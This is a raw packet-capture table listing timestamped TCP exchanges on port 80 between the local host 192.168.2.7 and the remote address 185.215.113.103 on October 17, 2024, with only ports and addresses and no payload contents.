Oct 17, 2024 18:40:14.023180008 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.023247004 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.023258924 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.023294926 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.023339033 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.023401022 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.023452997 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.023452997 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.023466110 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.023480892 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.023516893 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.023549080 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.023894072 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.023906946 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.023953915 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.025382996 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.025444031 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.025489092 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.025502920 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.025543928 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.025719881 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.025778055 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.028723955 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.028785944 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.028814077 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.028826952 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.028877020 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.029056072 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.029068947 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.029081106 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.029108047 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.029141903 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.029316902 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.029355049 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.029367924 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.029372931 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.029398918 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.029412031 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.029628992 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.029829025 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.067424059 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.067450047 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.067461967 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.067672014 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.071239948 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.071322918 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.071336031 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.071368933 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.071511030 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.071533918 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.071544886 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.071640015 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.071723938 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.071737051 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.071751118 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.071763992 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.071826935 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.071892023 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.072184086 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.072197914 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.072210073 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.072246075 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.072273970 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.124099970 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.124125957 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.124284029 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.124314070 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.124326944 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.124391079 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.124454021 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.124466896 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.124480963 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.124491930 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.124516964 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.124541998 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.124924898 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.124937057 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.124948025 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.124960899 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.124973059 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.124983072 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.124985933 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.125000000 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.125025988 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.125049114 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.125803947 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.125816107 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.125827074 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.125838995 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.125849962 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.125873089 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.125886917 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.126343966 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.126355886 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.126368046 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.126388073 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.126396894 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.126399994 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.126413107 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.126422882 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.126445055 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.126473904 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.127187014 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.127198935 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.127209902 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.127222061 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.127233028 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.127245903 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.127248049 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.127284050 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.127368927 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.128051043 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.128072023 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.128083944 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.128097057 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.128108025 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.128110886 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.128123045 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.128133059 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.128135920 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.128163099 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.128184080 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.128962994 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.128977060 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.128988028 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.129000902 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.129013062 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.129025936 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.129026890 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.129038095 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.129064083 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.129081964 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.129926920 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.129939079 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.129951000 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.129964113 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.129976034 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.129988909 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.129988909 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.130003929 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.130008936 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.130023956 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.130064011 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.130768061 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.130783081 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.130798101 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.130815029 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.130822897 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.130867958 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.144200087 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.144238949 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.144252062 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.144279003 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.144309044 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.144373894 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.144431114 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.144447088 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.144459963 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.144471884 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.144505024 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.144532919 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.144974947 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.145030022 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.145724058 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.145780087 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.145826101 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.145838976 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.145879984 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.146049023 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.146069050 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.146101952 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.146131992 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.149214983 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.149279118 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.149311066 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.149323940 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.149457932 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.149602890 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.149615049 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.149627924 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.149663925 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.149676085 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.149848938 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.149862051 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.149874926 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.149888039 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.149912119 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.149943113 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.189111948 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.189152956 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.189167976 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.189264059 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.189342976 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.192038059 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.192106962 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.192135096 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.192148924 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.192199945 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.192502022 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.192514896 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.192528963 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.192543030 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.192557096 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.192558050 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.192591906 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.192606926 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.192948103 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.193002939 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.193068981 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.193082094 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.193121910 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.193142891 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.193300009 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.193356037 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.248140097 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.248172998 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.248188019 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.248454094 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.248466015 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.248480082 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.248493910 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.249058962 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.249073029 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.249084949 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.249098063 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.249111891 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.249125004 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.249732971 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.249773979 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.249948025 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.249960899 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.249972105 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.249989033 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.250001907 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.250015020 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.250030994 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.250046968 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.250072002 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.250097990 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.250720978 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.250734091 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.250746965 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.250761986 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.250775099 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.250793934 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.250813007 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.250819921 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.250833988 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.250845909 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.250900984 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.251643896 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.251657009 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.251667023 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.251678944 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.251684904 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.251692057 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.251703978 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.251713037 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.251715899 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.251729012 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.251739979 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.251748085 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.251775980 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.251801014 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.252614021 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.252629995 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.252640963 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.252682924 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.252695084 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.252708912 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.252712965 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.252721071 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.252726078 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.252732992 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.252744913 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.252746105 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.252800941 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.253566027 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.253582001 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.253593922 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.253601074 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.253607035 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.253618956 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.253660917 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.253676891 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.253690958 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.253701925 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.253715038 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.253720045 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.253726959 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.253747940 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.253772974 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.267143011 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.267172098 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.267187119 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.267414093 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.267429113 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.267441988 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.267457962 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.267895937 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.267910004 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.267923117 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.267937899 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.267951965 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.268218040 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.268254995 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.271966934 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.271985054 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.272001982 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.272047997 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.272090912 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.272097111 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.272131920 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.272146940 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.272315025 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.272469997 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.272484064 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.272504091 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.272516966 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.272547960 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.272571087 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.311588049 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.311616898 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.311630011 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.311805010 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.316978931 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.317047119 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.317050934 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.317063093 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.317111969 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.317178965 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:14.317347050 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:14.317361116 CEST	80	50050	185.215.113.103	192.168.2.7
